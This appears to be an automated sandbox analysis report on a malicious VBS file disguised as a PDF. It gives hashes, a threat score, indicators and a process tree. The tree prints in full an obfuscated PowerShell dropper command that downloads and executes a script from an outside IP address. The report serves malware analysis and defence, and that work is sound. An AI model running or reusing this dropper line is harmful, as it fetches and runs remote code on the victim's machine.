53489c9133ab9bd888329220b13b33ad41ccb30916bd6daf284ce07f699ca9a7

Analysis

Target

183287857-050118-sanlccjavap0004-6561_PDF.vbs
Size

440B
MD5

fd5d9dd54f30ebeda49b3f3d9d57d1c6
SHA1

bdc86ae73f8ea542af15ed6a5643b1a9cfd8ea51
SHA256

75e81b26f76f0050408e59a9d3606e0ee6d474ffa9e2296187f582884fa2f59f
SHA512

60857407aa6143be42149dac675348dcbfaa1a9ed8dd66e66fe936dbabca8dd490d3019573fe940631741047e7edb0b0df9730a33ccaf48aed077e939608b7b9

Score

10^/10

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://202.55.132.106/Bypass3.txt

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1384 powershell.exe
5 1384 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1384 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1384 powershell.exe

flow	pid	process
4	1384	powershell.exe
5	1384	powershell.exe

pid	process
1384	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\183287857-050118-sanlccjavap0004-6561_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://202.55.132.106/Bypass3.txt')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/612-54-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

Filesize
8KB

Download
memory/1384-55-0x0000000000000000-mapping.dmp

Download
memory/1384-57-0x000007FEF26D0000-0x000007FEF322D000-memory.dmp

Filesize
11.4MB

Download
memory/1384-58-0x00000000024D0000-0x00000000024D2000-memory.dmp

Filesize
8KB

Download
memory/1384-59-0x00000000024D2000-0x00000000024D4000-memory.dmp

Filesize
8KB

Download
memory/1384-60-0x00000000024D4000-0x00000000024D7000-memory.dmp

Filesize
12KB

Download
memory/1384-61-0x00000000024DB000-0x00000000024FA000-memory.dmp

Filesize
124KB

Download